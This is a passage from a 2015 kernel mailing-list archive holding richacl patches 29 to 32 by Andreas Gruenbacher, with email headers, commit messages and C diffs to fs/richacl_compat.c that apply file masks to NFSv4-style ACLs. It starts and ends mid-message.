the following acl implicitly grants everyone rwpx access: + * + * joe:r::allow + * everyone@:rwpx::allow + * + * When applying mode 0660 to this acl, group@ would lose rwp access, and joe + * would lose wp access even though the mode does not exclude those + * permissions. After propagating the everyone@ permissions, the result for + * applying mode 0660 becomes: + * + * owner@:rwp::allow + * joe:rwp::allow + * group@:rwp::allow + * + * Deny aces complicate the matter. For example, the following acl grants + * everyone but joe write access: + * + * joe:wp::deny + * everyone@:rwpx::allow + * + * When applying mode 0660 to this acl, group@ would lose rwp access, and joe + * would lose r access. After propagating the everyone@ permissions, the + * result for applying mode 0660 becomes: + * + * owner@:rwp::allow + * joe:w::deny + * group@:rwp::allow + * joe:r::allow + */ +static int +richacl_propagate_everyone(struct richacl_alloc *alloc) +{ + struct richace who = { .e_flags = RICHACE_SPECIAL_WHO }; + struct richacl *acl = alloc->acl; + struct richace *ace; + unsigned int owner_allow, group_allow; + + if (!acl->a_count) + return 0; + ace = acl->a_entries + acl->a_count - 1; + if (richace_is_inherit_only(ace) || !richace_is_everyone(ace)) + return 0; + + /* + * Permissions the owner and group class are granted through the + * trailing everyone@ allow ace. + */ + owner_allow = ace->e_mask & acl->a_owner_mask; + group_allow = ace->e_mask & acl->a_group_mask; + + /* + * If the group or other masks hide permissions which the owner should + * be allowed, we need to propagate those permissions up. Otherwise, + * those permissions may be lost when applying the other mask to the + * trailing everyone@ allow ace, or when isolating the group class from + * the other class through additional deny aces. + */ + if (owner_allow & ~(acl->a_group_mask & acl->a_other_mask)) { + /* Propagate everyone@ permissions through to owner@. */ + who.e_id.special = RICHACE_OWNER_SPECIAL_ID; + if (__richacl_propagate_everyone(alloc, &who, owner_allow)) + return -1; + acl = alloc->acl; + } + + /* + * If the other mask hides permissions which the group class should be + * allowed, we need to propagate those permissions up to the owning + * group and to all other members in the group class. + */ + if (group_allow & ~acl->a_other_mask) { + int n; + + /* Propagate everyone@ permissions through to group@. */ + who.e_id.special = RICHACE_GROUP_SPECIAL_ID; + if (__richacl_propagate_everyone(alloc, &who, group_allow)) + return -1; + acl = alloc->acl; + + /* + * Start from the entry before the trailing everyone@ allow + * entry. We will not hit everyone@ entries in the loop. + */ + for (n = acl->a_count - 2; n != -1; n--) { + ace = acl->a_entries + n; + + if (richace_is_inherit_only(ace) || + richace_is_owner(ace) || + richace_is_group(ace)) + continue; + + /* + * Any inserted entry will end up below the current + * entry. + */ + if (__richacl_propagate_everyone(alloc, ace, + group_allow)) + return -1; + acl = alloc->acl; + } + } + return 0; +} -- 2.5.0 From agruenba@redhat.com Fri Oct 23 13:45:29 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 3F99A29E1F for ; Fri, 23 Oct 2015 13:45:29 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 212EC304039 for ; Fri, 23 Oct 2015 11:45:29 -0700 (PDT) X-ASG-Debug-ID: 1445625927-04cb6c7b853e070001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id Hb0g4Kop4KeE3Csc (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Fri, 23 Oct 2015 11:45:28 -0700 (PDT) X-Barracuda-Envelope-From: agruenba@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx13.intmail.prod.int.phx2.redhat.com (int-mx13.intmail.prod.int.phx2.redhat.com [10.5.11.26]) by mx1.redhat.com (Postfix) with ESMTPS id 7C7DE341AC4; Fri, 23 Oct 2015 18:45:27 +0000 (UTC) Received: from nux.redhat.com (vpn1-7-119.ams2.redhat.com [10.36.7.119]) by int-mx13.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t9NIg3ew026588; Fri, 23 Oct 2015 14:45:21 -0400 From: Andreas Gruenbacher To: Alexander Viro , "Theodore Ts'o" , Andreas Dilger , "J. Bruce Fields" , Jeff Layton , Trond Myklebust , Anna Schumaker , Dave Chinner , linux-ext4@vger.kernel.org, xfs@oss.sgi.com, linux-kernel@vger.kernel.org, linux-fsdevel@vger.kernel.org, linux-nfs@vger.kernel.org, linux-cifs@vger.kernel.org, linux-api@vger.kernel.org Cc: Andreas Gruenbacher Subject: [PATCH v12 29/49] richacl: Set the owner permissions to the owner mask Date: Fri, 23 Oct 2015 20:41:42 +0200 X-ASG-Orig-Subj: [PATCH v12 29/49] richacl: Set the owner permissions to the owner mask Message-Id: <1445625722-13791-30-git-send-email-agruenba@redhat.com> In-Reply-To: <1445625722-13791-1-git-send-email-agruenba@redhat.com> References: <1445625722-13791-1-git-send-email-agruenba@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.26 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1445625928 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 In the write-through case, change the acl so that owner@ is granted the permissions set in the owner mask (to match what the permission check algorithm grants the owner). Signed-off-by: Andreas Gruenbacher Reviewed-by: J. Bruce Fields --- fs/richacl_compat.c | 46 ++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 46 insertions(+) diff --git a/fs/richacl_compat.c b/fs/richacl_compat.c index e90d57c..d9fee8b 100644 --- a/fs/richacl_compat.c +++ b/fs/richacl_compat.c @@ -416,3 +416,49 @@ richacl_propagate_everyone(struct richacl_alloc *alloc) } return 0; } + +/** + * richacl_set_owner_permissions - set the owner permissions to the owner mask + * + * In the write-through case, change the acl so that owner@ is granted the + * permissions set in the owner mask (to match what the permission check + * algorithm grants the owner). This leaves at most one efective owner@ allow + * entry at the beginning of the acl. + */ +static int +richacl_set_owner_permissions(struct richacl_alloc *alloc) +{ + unsigned int x = RICHACE_POSIX_ALWAYS_ALLOWED; + unsigned int owner_mask = alloc->acl->a_owner_mask & ~x; + unsigned int denied = 0; + struct richace *ace; + + if (!((alloc->acl->a_flags & RICHACL_WRITE_THROUGH))) + return 0; + + richacl_for_each_entry(ace, alloc->acl) { + if (richace_is_owner(ace)) { + if (richace_is_allow(ace) && !(owner_mask & denied)) { + richace_change_mask(alloc, &ace, owner_mask); + owner_mask = 0; + } else + richace_change_mask(alloc, &ace, 0); + } else { + if (richace_is_deny(ace)) + denied |= ace->e_mask; + } + } + + if (owner_mask & (denied | + ~alloc->acl->a_other_mask | + ~alloc->acl->a_group_mask)) { + ace = alloc->acl->a_entries; + if (richacl_insert_entry(alloc, &ace)) + return -1; + ace->e_type = RICHACE_ACCESS_ALLOWED_ACE_TYPE; + ace->e_flags = RICHACE_SPECIAL_WHO; + ace->e_mask = owner_mask; + ace->e_id.special = RICHACE_OWNER_SPECIAL_ID; + } + return 0; +} -- 2.5.0 From agruenba@redhat.com Fri Oct 23 13:45:35 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id B284A29E27 for ; Fri, 23 Oct 2015 13:45:35 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id A2663304039 for ; Fri, 23 Oct 2015 11:45:35 -0700 (PDT) X-ASG-Debug-ID: 1445625934-04cb6c7b863e080001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id l1IrPLjVhHnPQtH5 (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Fri, 23 Oct 2015 11:45:34 -0700 (PDT) X-Barracuda-Envelope-From: agruenba@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx13.intmail.prod.int.phx2.redhat.com (int-mx13.intmail.prod.int.phx2.redhat.com [10.5.11.26]) by mx1.redhat.com (Postfix) with ESMTPS id 3AC7E373BE4; Fri, 23 Oct 2015 18:45:34 +0000 (UTC) Received: from nux.redhat.com (vpn1-7-119.ams2.redhat.com [10.36.7.119]) by int-mx13.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t9NIg3ex026588; Fri, 23 Oct 2015 14:45:28 -0400 From: Andreas Gruenbacher To: Alexander Viro , "Theodore Ts'o" , Andreas Dilger , "J. Bruce Fields" , Jeff Layton , Trond Myklebust , Anna Schumaker , Dave Chinner , linux-ext4@vger.kernel.org, xfs@oss.sgi.com, linux-kernel@vger.kernel.org, linux-fsdevel@vger.kernel.org, linux-nfs@vger.kernel.org, linux-cifs@vger.kernel.org, linux-api@vger.kernel.org Cc: Andreas Gruenbacher Subject: [PATCH v12 30/49] richacl: Set the other permissions to the other mask Date: Fri, 23 Oct 2015 20:41:43 +0200 X-ASG-Orig-Subj: [PATCH v12 30/49] richacl: Set the other permissions to the other mask Message-Id: <1445625722-13791-31-git-send-email-agruenba@redhat.com> In-Reply-To: <1445625722-13791-1-git-send-email-agruenba@redhat.com> References: <1445625722-13791-1-git-send-email-agruenba@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.26 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1445625934 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 Change the acl so that everyone@ is granted the permissions set in the other mask. Signed-off-by: Andreas Gruenbacher Reviewed-by: J. Bruce Fields --- fs/richacl_compat.c | 41 +++++++++++++++++++++++++++++++++++++++++ 1 file changed, 41 insertions(+) diff --git a/fs/richacl_compat.c b/fs/richacl_compat.c index d9fee8b..76183c9 100644 --- a/fs/richacl_compat.c +++ b/fs/richacl_compat.c @@ -462,3 +462,44 @@ richacl_set_owner_permissions(struct richacl_alloc *alloc) } return 0; } + +/** + * richacl_set_other_permissions - set the other permissions to the other mask + * @alloc: acl and number of allocated entries + * @added: permissions added for everyone@ + * + * Change the acl so that everyone@ is granted the permissions set in the other + * mask. This leaves at most one efective everyone@ allow entry at the end of + * the acl. If everyone@ end up being granted additional permissions, these + * permissions are returned in @added. + */ +static int +richacl_set_other_permissions(struct richacl_alloc *alloc, unsigned int *added) +{ + struct richacl *acl = alloc->acl; + unsigned int x = RICHACE_POSIX_ALWAYS_ALLOWED; + unsigned int other_mask = acl->a_other_mask & ~x; + struct richace *ace; + + if (!(other_mask && + (acl->a_flags & RICHACL_WRITE_THROUGH))) + return 0; + + *added = other_mask; + ace = acl->a_entries + acl->a_count - 1; + if (acl->a_count == 0 || + !richace_is_everyone(ace) || + richace_is_inherit_only(ace)) { + ace++; + if (richacl_insert_entry(alloc, &ace)) + return -1; + ace->e_type = RICHACE_ACCESS_ALLOWED_ACE_TYPE; + ace->e_flags = RICHACE_SPECIAL_WHO; + ace->e_mask = other_mask; + ace->e_id.special = RICHACE_EVERYONE_SPECIAL_ID; + } else { + *added &= ~ace->e_mask; + richace_change_mask(alloc, &ace, other_mask); + } + return 0; +} -- 2.5.0 From agruenba@redhat.com Fri Oct 23 13:45:43 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 4DAAC29E3F for ; Fri, 23 Oct 2015 13:45:43 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 3D067304039 for ; Fri, 23 Oct 2015 11:45:43 -0700 (PDT) X-ASG-Debug-ID: 1445625941-04cb6c7b843e090001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id KXWmUsQksBWHApx6 (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Fri, 23 Oct 2015 11:45:41 -0700 (PDT) X-Barracuda-Envelope-From: agruenba@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx13.intmail.prod.int.phx2.redhat.com (int-mx13.intmail.prod.int.phx2.redhat.com [10.5.11.26]) by mx1.redhat.com (Postfix) with ESMTPS id 0C27474; Fri, 23 Oct 2015 18:45:41 +0000 (UTC) Received: from nux.redhat.com (vpn1-7-119.ams2.redhat.com [10.36.7.119]) by int-mx13.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t9NIg3f0026588; Fri, 23 Oct 2015 14:45:34 -0400 From: Andreas Gruenbacher To: Alexander Viro , "Theodore Ts'o" , Andreas Dilger , "J. Bruce Fields" , Jeff Layton , Trond Myklebust , Anna Schumaker , Dave Chinner , linux-ext4@vger.kernel.org, xfs@oss.sgi.com, linux-kernel@vger.kernel.org, linux-fsdevel@vger.kernel.org, linux-nfs@vger.kernel.org, linux-cifs@vger.kernel.org, linux-api@vger.kernel.org Cc: Andreas Gruenbacher Subject: [PATCH v12 31/49] richacl: Isolate the owner and group classes Date: Fri, 23 Oct 2015 20:41:44 +0200 X-ASG-Orig-Subj: [PATCH v12 31/49] richacl: Isolate the owner and group classes Message-Id: <1445625722-13791-32-git-send-email-agruenba@redhat.com> In-Reply-To: <1445625722-13791-1-git-send-email-agruenba@redhat.com> References: <1445625722-13791-1-git-send-email-agruenba@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.26 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1445625941 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 When applying the file masks to an acl, we need to ensure that no process gets more permissions than allowed by its file mask. This may require inserting an owner@ deny ace to ensure this if the owner mask contains fewer permissions than the group or other mask. For example, when applying mode 0446 to the following acl: everyone@:rw::allow A deny ace needs to be inserted so that the owner won't get elevated write access: owner@:w::deny everyone@:rw::allow Likewise, we may need to insert group class deny aces if the group mask contains fewer permissions than the other mask. For example, when applying mode 0646 to the following acl: owner@:rw::allow everyone@:rw::allow A deny ace needs to be inserted so that the owning group won't get elevated write access: owner@:rw::allow group@:w::deny everyone@:rw::allow Signed-off-by: Andreas Gruenbacher Reviewed-by: J. Bruce Fields --- fs/richacl_compat.c | 223 ++++++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 223 insertions(+) diff --git a/fs/richacl_compat.c b/fs/richacl_compat.c index 76183c9..7553f1a 100644 --- a/fs/richacl_compat.c +++ b/fs/richacl_compat.c @@ -503,3 +503,226 @@ richacl_set_other_permissions(struct richacl_alloc *alloc, unsigned int *added) } return 0; } + +/** + * richacl_max_allowed - maximum permissions that anybody is allowed + */ +static unsigned int +richacl_max_allowed(struct richacl *acl) +{ + struct richace *ace; + unsigned int allowed = 0; + + richacl_for_each_entry_reverse(ace, acl) { + if (richace_is_inherit_only(ace)) + continue; + if (richace_is_allow(ace)) + allowed |= ace->e_mask; + else if (richace_is_deny(ace)) { + if (richace_is_everyone(ace)) + allowed &= ~ace->e_mask; + } + } + return allowed; +} + +/** + * richacl_isolate_owner_class - limit the owner class to the owner file mask + * @alloc: acl and number of allocated entries + * + * POSIX requires that after a chmod, the owner class is granted no more + * permissions than the owner file permission bits. For richacls, this + * means that the owner class must not be granted any permissions that the + * owner mask does not include. + * + * When we apply file masks to an acl which grant more permissions to the group + * or other class than to the owner class, we may end up in a situation where + * the owner is granted additional permissions from other aces. For example, + * given this acl: + * + * everyone@:rwx::allow + * + * when file masks corresponding to mode 0406 are applied, after + * richacl_propagate_everyone() and __richacl_apply_masks(), we end up with: + * + * owner@:r::allow + * everyone@:rw::allow + * + * This acl still grants the owner rw access through the everyone@ allow ace. + * To fix this, we must deny the owner w access: + * + * owner@:w::deny + * owner@:r::allow + * everyone@:rw::allow + */ +static int +richacl_isolate_owner_class(struct richacl_alloc *alloc) +{ + struct richacl *acl = alloc->acl; + struct richace *ace; + unsigned int deny; + + deny = richacl_max_allowed(acl) & ~acl->a_owner_mask; + if (!deny) + return 0; + + /* + * Figure out if we can update an existig OWNER@ DENY entry. + */ + richacl_for_each_entry(ace, acl) { + if (richace_is_inherit_only(ace)) + continue; + if (richace_is_allow(ace)) + break; + if (richace_is_owner(ace)) + return richace_change_mask(alloc, &ace, + ace->e_mask | deny); + } + + /* Insert an owner@ deny entry at the front. */ + ace = acl->a_entries; + if (richacl_insert_entry(alloc, &ace)) + return -1; + ace->e_type = RICHACE_ACCESS_DENIED_ACE_TYPE; + ace->e_flags = RICHACE_SPECIAL_WHO; + ace->e_mask = deny; + ace->e_id.special = RICHACE_OWNER_SPECIAL_ID; + return 0; +} + +/** + * __richacl_isolate_who - isolate entry from everyone@ allow entry + * @alloc: acl and number of allocated entries + * @who: identifier to isolate + * @deny: permissions this identifier should not be allowed + * + * See richacl_isolate_group_class(). + */ +static int +__richacl_isolate_who(struct richacl_alloc *alloc, struct richace *who, + unsigned int deny) +{ + struct richacl *acl = alloc->acl; + struct richace *ace, who_copy; + int n; + + /* + * Compute the permissions already defined for @who. There are no + * everyone@ deny aces left in the acl at this stage. + */ + richacl_for_each_entry(ace, acl) { + if (richace_is_inherit_only(ace)) + continue; + if (richace_is_same_identifier(ace, who)) + deny &= ~ace->e_mask; + } + if (!deny) + return 0; + + /* + * Figure out if we can update an existig deny entry. Start from the + * entry before the trailing everyone@ allow entry. We will not hit + * everyone@ entries in the loop. + */ + for (n = acl->a_count - 2; n != -1; n--) { + ace = acl->a_entries + n; + if (richace_is_inherit_only(ace)) + continue; + if (richace_is_deny(ace)) { + if (richace_is_same_identifier(ace, who)) + return richace_change_mask(alloc, &ace, + ace->e_mask | deny); + } else if (richace_is_allow(ace) && + (ace->e_mask & deny)) + break; + } + + /* + * Insert a new entry before the trailing everyone@ deny entry. + */ + richace_copy(&who_copy, who); + ace = acl->a_entries + acl->a_count - 1; + if (richacl_insert_entry(alloc, &ace)) + return -1; + richace_copy(ace, &who_copy); + ace->e_type = RICHACE_ACCESS_DENIED_ACE_TYPE; + ace->e_flags &= ~RICHACE_INHERITANCE_FLAGS; + ace->e_mask = deny; + return 0; +} + +/** + * richacl_isolate_group_class - limit the group class to the group file mask + * @alloc: acl and number of allocated entries + * @deny: additional permissions to deny + * + * POSIX requires that after a chmod, the group class is granted no more + * permissions than the group file permission bits. For richacls, this + * means that the group class must not be granted any permissions that the + * group mask does not include. + * + * When we apply file masks to an acl which grant more permissions to the other + * class than to the group class, we may end up in a situation where processes + * in the group class are granted additional permission from other aces. For + * example, given this acl: + * + * joe:rwx::allow + * everyone@:rwx::allow + * + * when file masks corresponding to mode 0646 are applied, after + * richacl_propagate_everyone() and __richacl_apply_masks(), we end up with: + * + * joe:r::allow + * owner@:rw::allow + * group@:r::allow + * everyone@:rw::allow + * + * This acl still grants joe and group@ rw access through the everyone@ allow + * ace. To fix this, we must deny w access to group class aces before the + * everyone@ allow ace at the end of the acl: + * + * joe:r::allow + * owner@:rw::allow + * group@:r::allow + * joe:w::deny + * group@:w::deny + * everyone@:rw::allow + */ +static int +richacl_isolate_group_class(struct richacl_alloc *alloc, unsigned int deny) +{ + struct richace who = { + .e_flags = RICHACE_SPECIAL_WHO, + .e_id.special = RICHACE_GROUP_SPECIAL_ID, + }; + struct richace *ace; + + if (!alloc->acl->a_count) + return 0; + ace = alloc->acl->a_entries + alloc->acl->a_count - 1; + if (richace_is_inherit_only(ace) || !richace_is_everyone(ace)) + return 0; + deny |= ace->e_mask & ~alloc->acl->a_group_mask; + + if (deny) { + unsigned int n; + + if (__richacl_isolate_who(alloc, &who, deny)) + return -1; + /* + * Start from the entry before the trailing everyone@ allow + * entry. We will not hit everyone@ entries in the loop. + */ + for (n = alloc->acl->a_count - 2; n != -1; n--) { + ace = alloc->acl->a_entries + n; + + if (richace_is_inherit_only(ace) || + richace_is_owner(ace) || + richace_is_group(ace)) + continue; + if (__richacl_isolate_who(alloc, ace, deny)) + return -1; + } + } + return 0; +} -- 2.5.0 From agruenba@redhat.com Fri Oct 23 13:45:49 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 84A2429E27 for ; Fri, 23 Oct 2015 13:45:49 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 472E5304059 for ; Fri, 23 Oct 2015 11:45:49 -0700 (PDT) X-ASG-Debug-ID: 1445625947-04bdf0330c415a0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id evKiifm2f7zaoOMD (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Fri, 23 Oct 2015 11:45:48 -0700 (PDT) X-Barracuda-Envelope-From: agruenba@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx13.intmail.prod.int.phx2.redhat.com (int-mx13.intmail.prod.int.phx2.redhat.com [10.5.11.26]) by mx1.redhat.com (Postfix) with ESMTPS id CBA0E8EA45; Fri, 23 Oct 2015 18:45:47 +0000 (UTC) Received: from nux.redhat.com (vpn1-7-119.ams2.redhat.com [10.36.7.119]) by int-mx13.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t9NIg3f1026588; Fri, 23 Oct 2015 14:45:41 -0400 From: Andreas Gruenbacher To: Alexander Viro , "Theodore Ts'o" , Andreas Dilger , "J. Bruce Fields" , Jeff Layton , Trond Myklebust , Anna Schumaker , Dave Chinner , linux-ext4@vger.kernel.org, xfs@oss.sgi.com, linux-kernel@vger.kernel.org, linux-fsdevel@vger.kernel.org, linux-nfs@vger.kernel.org, linux-cifs@vger.kernel.org, linux-api@vger.kernel.org Cc: Andreas Gruenbacher Subject: [PATCH v12 32/49] richacl: Apply the file masks to a richacl Date: Fri, 23 Oct 2015 20:41:45 +0200 X-ASG-Orig-Subj: [PATCH v12 32/49] richacl: Apply the file masks to a richacl Message-Id: <1445625722-13791-33-git-send-email-agruenba@redhat.com> In-Reply-To: <1445625722-13791-1-git-send-email-agruenba@redhat.com> References: <1445625722-13791-1-git-send-email-agruenba@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.26 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1445625948 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 Put all the pieces of the acl transformation puzzle together for computing a richacl which has the file masks "applied" so that the standard nfsv4 access check algorithm can be used on the richacl. Signed-off-by: Andreas Gruenbacher Reviewed-by: J. Bruce Fields --- fs/richacl_compat.c | 101 ++++++++++++++++++++++++++++++++++++++++++++++++ include/linux/richacl.h | 3 ++ 2 files changed, 104 insertions(+) diff --git a/fs/richacl_compat.c b/fs/richacl_compat.c index 7553f1a..ea3effd 100644 --- a/fs/richacl_compat.c +++ b/fs/richacl_compat.c @@ -726,3 +726,104 @@ richacl_isolate_group_class(struct richacl_alloc *alloc, unsigned int deny) } return 0; } + +/** + * __richacl_apply_masks - apply the file masks to all aces + * @alloc: acl and number of allocated entries + * + * Apply the owner mask to owner@ aces, the other mask to + * everyone@ aces, and the group mask to all other aces. + * + * The previous transformations have brought the acl into a + * form in which applying the masks will not lead to the + * accidental loss of permissions anymore. + */ +static int +__richacl_apply_masks(struct richacl_alloc *alloc, kuid_t owner) +{ + struct richace *ace; + + richacl_for_each_entry(ace, alloc->acl) { + unsigned int mask; + + if (richace_is_inherit_only(ace) || !richace_is_allow(ace)) + continue; + if (richace_is_owner(ace) || + (richace_is_unix_user(ace) && uid_eq(owner, ace->e_id.uid))) + mask = alloc->acl->a_owner_mask; + else if (richace_is_everyone(ace)) + mask = alloc->acl->a_other_mask; + else + mask = alloc->acl->a_group_mask; + if (richace_change_mask(alloc, &ace, ace->e_mask & mask)) + return -1; + } + return 0; +} + +/** + * richacl_apply_masks - apply the masks to the acl + * + * Transform @acl so that the standard NFSv4 permission check algorithm (which + * is not aware of file masks) will compute the same access decisions as the + * richacl permission check algorithm (which looks at the acl and the file + * masks). + * + * This algorithm is split into several steps: + * + * - Move everyone@ aces to the end of the acl. This simplifies the other + * transformations, and allows the everyone@ allow ace at the end of the + * acl to eventually allow permissions to the other class only. + * + * - Propagate everyone@ permissions up the acl. This transformation makes + * sure that the owner and group class aces won't lose any permissions when + * we apply the other mask to the everyone@ allow ace at the end of the acl. + * + * - Apply the file masks to all aces. + * + * - Make sure everyone is granted the other mask permissions. This step can + * elevate elevate permissions for the owner and group classes, which is + * corrected later. + * + * - Make sure that the group class is not granted any permissions from + * everyone@. + * + * - Make sure the owner is granted the owner mask permissions. + * + * - Make sure the owner is not granted any permissions beyond the owner + * mask from group class aces or from everyone@. + * + * NOTE: Depending on the acl and file masks, this algorithm can increase the + * number of aces by almost a factor of three in the worst case. This may make + * the acl too large for some purposes. + */ +int +richacl_apply_masks(struct richacl **acl, kuid_t owner) +{ + if ((*acl)->a_flags & RICHACL_MASKED) { + struct richacl_alloc alloc = { + .acl = richacl_clone(*acl, GFP_KERNEL), + .count = (*acl)->a_count, + }; + unsigned int added = 0; + + if (!alloc.acl) + return -ENOMEM; + if (richacl_move_everyone_aces_down(&alloc) || + richacl_propagate_everyone(&alloc) || + __richacl_apply_masks(&alloc, owner) || + richacl_set_other_permissions(&alloc, &added) || + richacl_isolate_group_class(&alloc, added) || + richacl_set_owner_permissions(&alloc) || + richacl_isolate_owner_class(&alloc)) { + richacl_put(alloc.acl); + return -ENOMEM; + } + + alloc.acl->a_flags &= ~(RICHACL_WRITE_THROUGH | RICHACL_MASKED); + richacl_put(*acl); + *acl = alloc.acl; + } + return 0; +} +EXPORT_SYMBOL_GPL(richacl_apply_masks); diff --git a/include/linux/richacl.h b/include/linux/richacl.h index 7cfa64d..3fdfc57 100644 --- a/include/linux/richacl.h +++ b/include/linux/richacl.h @@ -205,4 +205,7 @@ extern int richacl_permission(struct inode *, const struct richacl *, int); extern int richacl_chmod(struct inode *, umode_t); extern struct richacl *richacl_create(umode_t *, struct inode *); +/* richacl_compat.c */ +extern int richacl_apply_masks(struct richacl **, kuid_t); + #endif /* __RICHACL_H */ -- 2.5.0 From agruenba@redhat.com Fri Oct 23 13:45:57 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 0B50729E27 for ; Fri, 23 Oct 2015 13:45:57 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id B0D47AC002 for ; Fri, 23 Oct 2015 11:45:56 -0700 (PDT) X-ASG-Debug-ID: 1445625954-04bdf0330c415c0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id R8uun3RUcK6EKPST (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Fri, 23 Oct 2015 11:45:54 -0700 (PDT) X-Barracuda-Envelope-From: agruenba@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx13.intmail.prod.int.phx2.redhat.com (int-mx13.intmail.prod.int.phx2.redhat.com [10.5.11.26]) by mx1.redhat.com (Postfix) with ESMTPS id 7A4D8341AC4; Fri, 23 Oct 2015 18:45:54 +0000 (UTC) Received: from nux.redhat.com (vpn1-7-119.ams2.redhat.com [10.36.7.119]) by int-mx13.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t9NIg3f2026588; Fri, 23 Oct 2015 14:45:48 -0400 From: Andreas Gruenbacher To: Alexander Viro , "Theodore Ts'o" , Andreas Dilger , "J. Bruce Fields" , Jeff Layton , Trond Myklebust , Anna Schumaker , Dave Chinner , 